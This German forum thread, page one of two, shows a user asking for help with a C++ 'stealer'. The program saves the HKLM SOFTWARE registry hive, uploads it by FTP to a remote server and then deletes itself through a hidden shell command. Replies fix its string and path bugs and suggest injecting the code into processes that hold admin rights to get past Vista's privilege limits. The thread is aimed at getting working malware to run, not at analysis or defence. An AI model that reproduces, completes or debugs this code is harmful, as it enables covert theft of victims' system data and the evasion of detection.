Seite 1 von 2 12 LetzteLetzte
Ergebnis 1 bis 10 von 12
  1. #1
    Anfänger
    Registriert seit
    21.03.2009
    Beiträge
    12

    Standard stealer kopiert registry nicht

    Code:
    #include <windows.h>
    #include <wininet.h>
    #include <process.h>
    #include <iostream>
    #include <fstream>
    #include <stdio.h>
    #include <conio.h>
    
    using namespace std;
    
    void upload(char *server, char *account, char *passwort);
    void save();
    BOOL SelfDelete();
    
    int main()
    {
        save();
        char server[50] = {'serveradresse'};
        char account[50] = {'username'};
        char passwort[50] = {'passwort'};
            upload(server, account, passwort);
            SelfDelete();
            return EXIT_SUCCESS;
    
    }
    
    void upload(char *server, char *account, char *passwort)
    {
        HINTERNET hOpen, hConnection;
    
        hOpen = InternetOpen("FTP Upload", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    
        hConnection = InternetConnect(hOpen, server, INTERNET_DEFAULT_FTP_PORT,
                                         account, passwort, INTERNET_SERVICE_FTP, 0, 0);
    
        FtpPutFile(hConnection, "C:\\data.reg", "//data.reg",
                      FTP_TRANSFER_TYPE_BINARY, 0);
    
        InternetCloseHandle(hConnection);
        InternetCloseHandle(hOpen);
    }
    void save()
    {
        HKEY key;
        RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\", 0, KEY_ALL_ACCESS, &key);
        RegSaveKey(key, "C:\\data.reg", 0);
        RegCloseKey(key);
    }
    BOOL SelfDelete()
    {
      TCHAR szFile[MAX_PATH], szCmd[MAX_PATH];
    
      if((GetModuleFileName(0,szFile,MAX_PATH)!=0) &&
         (GetShortPathName(szFile,szFile,MAX_PATH)!=0))
      {
        lstrcpy(szCmd,"/c del ");
        lstrcat(szCmd,szFile);
        lstrcat(szCmd," >> NUL");
    
        if((GetEnvironmentVariable("ComSpec",szFile,MAX_PATH)!=0) &&
           ((INT)ShellExecute(0,0,szFile,szCmd,0,SW_HIDE)>32))
           return TRUE;
      }
      return FALSE;
    }
    Der stealer ist so gecodet dass er den reg kopieren und auf nen server schicken soll. die reg hat aber 0kb. habs auf vista probiert. woran liegts?
    Geändert von blackberry (16.04.2009 um 08:56 Uhr) Grund: Code-Tags erhöhen die Übersichtlichkeit

  2. #2
    Bad Times Virus
    Registriert seit
    03.08.2007
    Beiträge
    646

    Standard

    ~
    Geändert von nemo (08.01.2016 um 08:23 Uhr)


  3. #3
    Anfänger
    Registriert seit
    21.03.2009
    Beiträge
    12

    Unglücklich

    Zitat Zitat von KleinesVoodoo Beitrag anzeigen
    Code:
    FtpPutFile(hConnection, "C:\\data.reg", "/data.reg", FTP_TRANSFER_TYPE_BINARY, 0);
    Ein Slash leitet im Gegensatz zu einem Backslash keine Escapesequenz ein. Du brauchst also nur einen setzen.

    Code:
    FtpPutFile(hConnection, "C:\\data.reg", "/data.reg",
            FTP_TRANSFER_TYPE_BINARY, 0);
    Ein Slash leitet im Gegensatz zu einem Backslash keine Escapesequenz ein. Du brauchst also nur einen setzen.

    Edit: Meckert dein Compiler da nicht?
    Nein, komischerweise hat mein Compiler nicht gemeckert. Danke, denn das hatte ich echt übersehen!

    Code:
    char server[50] = {'serveradresse'};
    char account[50] = {'username'};
    char passwort[50] = {'passwort'};
    Einzelne Zeichen kommen zwischen einfache Hochkommata, ganze Strings zwischen doppelte:

    Code:
    char server[50] = "serveradresse";
    char account[50] = "username";
    char passwort[50] = "passwort";
    Oder du initialisierst jedes Element einzeln mit dem entsprechenden Zeichen (eher ungebräuchlich bei Chararrays):

    Code:
    char server[50] = { 's', 'e', 'r', 'v', 'e', 'r',
            'a', 'd', 'r', 'e', 's', 's', 'e' };
    
    char account[50] = { 'u', 's', 'e', 'r', 'n', 'a', 'm', 'e" };
    char passwort[50] = { 'p', 'a', 's', 's', 'w', 'o', 'r', 't' };
    Das wusst ich schon, nur wollt ich hier meine Daten nicht präsentieren. Achja und das Problem besteht weiterhin...

  4. #4
    Fortgeschrittener
    Registriert seit
    16.02.2009
    Beiträge
    45

    Standard

    Auch wenn die Antwort ein bisschen verspätet kommt:
    Das liegt daran, dass du unter Vista höchstwahrscheinlich nicht genügend Rechte hast!
    Starte deinen Stealer doch mal mit Admin Rechten (wie das geht solltest du wissen).
    Dann sollte es nämlich gehen ..

    Wie du das Problem mit den Admin Rechten lösen kannst?
    Ganz einfach, du injectest deinen Code in ein Programm, dass bereits Admin Rechte hat (Notepad oder Calc dürfe sich dazu anbieten).

  5. #5
    Anfänger
    Registriert seit
    21.03.2009
    Beiträge
    12

    Standard

    Zitat Zitat von xant0x Beitrag anzeigen
    Auch wenn die Antwort ein bisschen verspätet kommt:
    Das liegt daran, dass du unter Vista höchstwahrscheinlich nicht genügend Rechte hast!
    Starte deinen Stealer doch mal mit Admin Rechten (wie das geht solltest du wissen).
    Dann sollte es nämlich gehen ..

    Wie du das Problem mit den Admin Rechten lösen kannst?
    Ganz einfach, du injectest deinen Code in ein Programm, dass bereits Admin Rechte hat (Notepad oder Calc dürfe sich dazu anbieten).
    Ja, das mit dem Injecten halte ich für ne gute Idee, danke... Aber leider hat das mit den Admin Rechten mein Problem auch nicht gelöst. Warum erstellt das Programm keine kopie der Registry?
    Geändert von skullyan (13.05.2009 um 22:46 Uhr) Grund: Automerged Doublepost

  6. #6
    Anfänger
    Registriert seit
    21.03.2009
    Beiträge
    12

    Standard

    Kann mir keiner Helfen?

  7. #7
    Gesperrt
    Registriert seit
    23.03.2009
    Beiträge
    438

    Standard

    Hast du es überhaupt versucht?

  8. #8
    W32.Lovgate
    Registriert seit
    28.10.2008
    Beiträge
    370

    Standard

    Zitat Zitat von skullyan Beitrag anzeigen
    [code]

    HKEY key;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\", 0,
    Ich kann mich täuschen, aber muss vor "SOFTWARE\\" nicht noch ein Double Backslash?
    also alle die hier rum geheult haben das es frech sei sollen mal die fresse halten.

    und das meine ich förmlich damit nicht gleich ein admin kommt und mich kickt. aber das kann nicht sein.
    EPIC!!!!

  9. #9
    Anfänger
    Registriert seit
    21.03.2009
    Beiträge
    12

    Standard

    versteht keiner diesen fehler?

  10. #10
    Transpinguin Avatar von IRET
    Registriert seit
    02.09.2008
    Beiträge
    1.295

    Standard

    Versuch doch mal die Registry local am Desktop zu speichern.
    Dann kannst du das Problem genauer identifizieren.
    Und versuch auch eien andere Datei zu uploaden.
    So findest du wo der Fehler liegt.
    Du kannst von niemanden erwarten ,dass er für dich debugt

Seite 1 von 2 12 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •